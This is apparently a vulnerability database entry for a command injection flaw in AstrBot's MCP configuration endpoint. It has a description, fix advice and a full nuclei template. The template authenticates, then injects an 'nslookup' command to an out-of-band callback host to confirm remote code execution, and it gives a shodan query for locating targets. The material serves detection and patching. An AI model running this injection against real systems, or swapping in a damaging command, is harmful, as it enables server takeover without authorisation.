HexBrain

Browse / CVEs / CVE-2026-6118

CVE-2026-6118· AstrBotDevs / AstrBot· CWE-94

AstrBot <= 4.22.1 - Command Injection

highseverity
8.8CVSS score
2.5%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it

AstrBot versions up to and including 4.22.1 contain a command injection vulnerability in the MCP server configuration endpoint. The /api/tools/mcp/add endpoint accepts arbitrary command and args fields that are passed directly to subprocess execution during the connection test, without any validation or allowlist enforcement. An attacker with dashboard access can execute arbitrary system commands with AstrBot process privileges.

Impact

Authenticated attackers can execute arbitrary system commands, leading to full server compromise, data exfiltration, and lateral movement.

Fix

Upgrade AstrBot to version 4.22.2 or later which introduces command allowlisting and validation. Change default dashboard credentials immediately.

How to confirm it

Send: POST /api/auth/login
Positive when: contains "\"token\""
Send: POST /api/tools/mcp/add
Positive when: contains_all(body, "status", "MCP connection test failed") and contains(interactsh_protocol, "dns") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-6118 -u <target>

The full check
id: CVE-2026-6118

info:
  name: AstrBot <= 4.22.1 - Command Injection
  author: jyoti369
  severity: high
  description: |
    AstrBot versions up to and including 4.22.1 contain a command injection vulnerability in the MCP server configuration endpoint. The /api/tools/mcp/add endpoint accepts arbitrary command and args fields that are passed directly to subprocess execution during the connection test, without any validation or allowlist enforcement. An attacker with dashboard access can execute arbitrary system commands with AstrBot process privileges.
  impact: |
    Authenticated attackers can execute arbitrary system commands, leading to full server compromise, data exfiltration, and lateral movement.
  remediation: |
    Upgrade AstrBot to version 4.22.2 or later which introduces command allowlisting and validation. Change default dashboard credentials immediately.
  reference:
    - https://github.com/AstrBotDevs/AstrBot/issues/7169
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6118
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-6118
    epss-score: 0.02533
    epss-percentile: 0.85065
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: AstrBotDevs
    product: AstrBot
    shodan-query: title:"AstrBot"
  tags: cve,cve2026,astrbot,rce,oast,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{md5(password)}}"}

    matchers:
      - type: word
        part: body
        words:
          - '"token"'
        internal: true

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        regex:
          - '"token"\s*:\s*"([^"]+)"'
        internal: true

  - raw:
      - |
        POST /api/tools/mcp/add HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"name":"{{randstr}}","command":"nslookup","args":["{{interactsh-url}}"],"active":false}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "status", "MCP connection test failed")'
          - 'contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from